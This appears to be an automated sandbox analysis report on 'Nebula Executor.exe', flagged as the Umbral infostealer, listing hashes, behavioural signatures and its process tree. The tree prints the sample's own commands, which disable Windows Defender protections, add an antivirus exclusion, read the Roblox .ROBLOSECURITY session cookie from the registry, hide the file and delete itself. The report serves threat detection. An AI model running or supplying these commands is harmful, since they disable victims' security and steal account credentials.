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Analysis
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max time kernel
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max time network
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platform
windows10-2004_x64 -
resource
win10v2004-20250129-en -
resource tags
arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system -
submitted
01/02/2025, 21:02
Behavioral task
behavioral1
Sample
Nebula Executor.exe
Resource
win7-20240903-en
General
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Target
Nebula Executor.exe
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Size
311KB
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MD5
d8f0449ae074e8752ec44bb5c000f0b2
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SHA1
a56a5838c50a83d35c0e49909f225408014a1a78
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SHA256
2322d185fb947885fcdd2b3a5ef43453b3318f5b997f07b6b9cb9c1865f21b6e
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SHA512
488bfc856814dc453b9fd5d79d4dfeeeefef85711ef2fc967881fa407ba3d332e5ca8ba557ca71796c786c14d3f9f2c2145d65c508b44dc304aa38b9763378ea
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SSDEEP
6144:XloZM+rIkd8g+EtXHkv/iD40TTIywvrYjhkijD6CO1b8e1m64iPpGErmx4OmoW:1oZtL+EP80TTIywvrYjhkijD6zzBPpN5
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral2/memory/4140-1-0x0000020F2B2D0000-0x0000020F2B324000-memory.dmp family_umbral -
Umbral family
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Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4900 powershell.exe 1604 powershell.exe 3636 powershell.exe 2720 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Nebula Executor.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 19 discord.com 20 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4560 cmd.exe 2464 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3988 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2464 PING.EXE -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 4140 Nebula Executor.exe 4900 powershell.exe 4900 powershell.exe 3636 powershell.exe 3636 powershell.exe 2720 powershell.exe 2720 powershell.exe 1328 powershell.exe 1328 powershell.exe 1604 powershell.exe 1604 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4140 Nebula Executor.exe Token: SeIncreaseQuotaPrivilege 1040 wmic.exe Token: SeSecurityPrivilege 1040 wmic.exe Token: SeTakeOwnershipPrivilege 1040 wmic.exe Token: SeLoadDriverPrivilege 1040 wmic.exe Token: SeSystemProfilePrivilege 1040 wmic.exe Token: SeSystemtimePrivilege 1040 wmic.exe Token: SeProfSingleProcessPrivilege 1040 wmic.exe Token: SeIncBasePriorityPrivilege 1040 wmic.exe Token: SeCreatePagefilePrivilege 1040 wmic.exe Token: SeBackupPrivilege 1040 wmic.exe Token: SeRestorePrivilege 1040 wmic.exe Token: SeShutdownPrivilege 1040 wmic.exe Token: SeDebugPrivilege 1040 wmic.exe Token: SeSystemEnvironmentPrivilege 1040 wmic.exe Token: SeRemoteShutdownPrivilege 1040 wmic.exe Token: SeUndockPrivilege 1040 wmic.exe Token: SeManageVolumePrivilege 1040 wmic.exe Token: 33 1040 wmic.exe Token: 34 1040 wmic.exe Token: 35 1040 wmic.exe Token: 36 1040 wmic.exe Token: SeIncreaseQuotaPrivilege 1040 wmic.exe Token: SeSecurityPrivilege 1040 wmic.exe Token: SeTakeOwnershipPrivilege 1040 wmic.exe Token: SeLoadDriverPrivilege 1040 wmic.exe Token: SeSystemProfilePrivilege 1040 wmic.exe Token: SeSystemtimePrivilege 1040 wmic.exe Token: SeProfSingleProcessPrivilege 1040 wmic.exe Token: SeIncBasePriorityPrivilege 1040 wmic.exe Token: SeCreatePagefilePrivilege 1040 wmic.exe Token: SeBackupPrivilege 1040 wmic.exe Token: SeRestorePrivilege 1040 wmic.exe Token: SeShutdownPrivilege 1040 wmic.exe Token: SeDebugPrivilege 1040 wmic.exe Token: SeSystemEnvironmentPrivilege 1040 wmic.exe Token: SeRemoteShutdownPrivilege 1040 wmic.exe Token: SeUndockPrivilege 1040 wmic.exe Token: SeManageVolumePrivilege 1040 wmic.exe Token: 33 1040 wmic.exe Token: 34 1040 wmic.exe Token: 35 1040 wmic.exe Token: 36 1040 wmic.exe Token: SeDebugPrivilege 4900 powershell.exe Token: SeDebugPrivilege 3636 powershell.exe Token: SeDebugPrivilege 2720 powershell.exe Token: SeDebugPrivilege 1328 powershell.exe Token: SeIncreaseQuotaPrivilege 4092 wmic.exe Token: SeSecurityPrivilege 4092 wmic.exe Token: SeTakeOwnershipPrivilege 4092 wmic.exe Token: SeLoadDriverPrivilege 4092 wmic.exe Token: SeSystemProfilePrivilege 4092 wmic.exe Token: SeSystemtimePrivilege 4092 wmic.exe Token: SeProfSingleProcessPrivilege 4092 wmic.exe Token: SeIncBasePriorityPrivilege 4092 wmic.exe Token: SeCreatePagefilePrivilege 4092 wmic.exe Token: SeBackupPrivilege 4092 wmic.exe Token: SeRestorePrivilege 4092 wmic.exe Token: SeShutdownPrivilege 4092 wmic.exe Token: SeDebugPrivilege 4092 wmic.exe Token: SeSystemEnvironmentPrivilege 4092 wmic.exe Token: SeRemoteShutdownPrivilege 4092 wmic.exe Token: SeUndockPrivilege 4092 wmic.exe Token: SeManageVolumePrivilege 4092 wmic.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 4140 wrote to memory of 1040 4140 Nebula Executor.exe 85 PID 4140 wrote to memory of 1040 4140 Nebula Executor.exe 85 PID 4140 wrote to memory of 4444 4140 Nebula Executor.exe 89 PID 4140 wrote to memory of 4444 4140 Nebula Executor.exe 89 PID 4140 wrote to memory of 4900 4140 Nebula Executor.exe 91 PID 4140 wrote to memory of 4900 4140 Nebula Executor.exe 91 PID 4140 wrote to memory of 3636 4140 Nebula Executor.exe 93 PID 4140 wrote to memory of 3636 4140 Nebula Executor.exe 93 PID 4140 wrote to memory of 2720 4140 Nebula Executor.exe 95 PID 4140 wrote to memory of 2720 4140 Nebula Executor.exe 95 PID 4140 wrote to memory of 1328 4140 Nebula Executor.exe 97 PID 4140 wrote to memory of 1328 4140 Nebula Executor.exe 97 PID 4140 wrote to memory of 4092 4140 Nebula Executor.exe 99 PID 4140 wrote to memory of 4092 4140 Nebula Executor.exe 99 PID 4140 wrote to memory of 3784 4140 Nebula Executor.exe 101 PID 4140 wrote to memory of 3784 4140 Nebula Executor.exe 101 PID 4140 wrote to memory of 3760 4140 Nebula Executor.exe 103 PID 4140 wrote to memory of 3760 4140 Nebula Executor.exe 103 PID 4140 wrote to memory of 1604 4140 Nebula Executor.exe 105 PID 4140 wrote to memory of 1604 4140 Nebula Executor.exe 105 PID 4140 wrote to memory of 3988 4140 Nebula Executor.exe 107 PID 4140 wrote to memory of 3988 4140 Nebula Executor.exe 107 PID 4140 wrote to memory of 4560 4140 Nebula Executor.exe 109 PID 4140 wrote to memory of 4560 4140 Nebula Executor.exe 109 PID 4560 wrote to memory of 2464 4560 cmd.exe 111 PID 4560 wrote to memory of 2464 4560 cmd.exe 111 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4444 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Nebula Executor.exe"C:\Users\Admin\AppData\Local\Temp\Nebula Executor.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4140 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1040
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C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Nebula Executor.exe"2⤵
- Views/modifies file attributes
PID:4444
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nebula Executor.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4900
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3636
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2720
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1328
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4092
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:3784
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:3760
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1604
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:3988
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Nebula Executor.exe" && pause2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4560 -
C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2464
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
948B
MD5966914e2e771de7a4a57a95b6ecfa8a9
SHA17a32282fd51dd032967ed4d9a40cc57e265aeff2
SHA25698d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba
SHA512dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5
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Filesize
1KB
MD5276798eeb29a49dc6e199768bc9c2e71
SHA15fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA5120d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
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Filesize
1KB
MD5b5e2fd95470c50743ba121fd6bd03a7b
SHA175545ed499d9dde51a1fc1cf535eb4f50ec79250
SHA256d9c961aaf784b9ce81b0a3aac7a39bd41e9f2702d9c28deb20e786d385b88288
SHA51276bdc793f8b38f603b5ad0957474660bb09e963a2496564b8ceac6591d532fc9498214b81c3908bafc13ff0b07028457c6c997998adfd2203304cb1c82899423
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82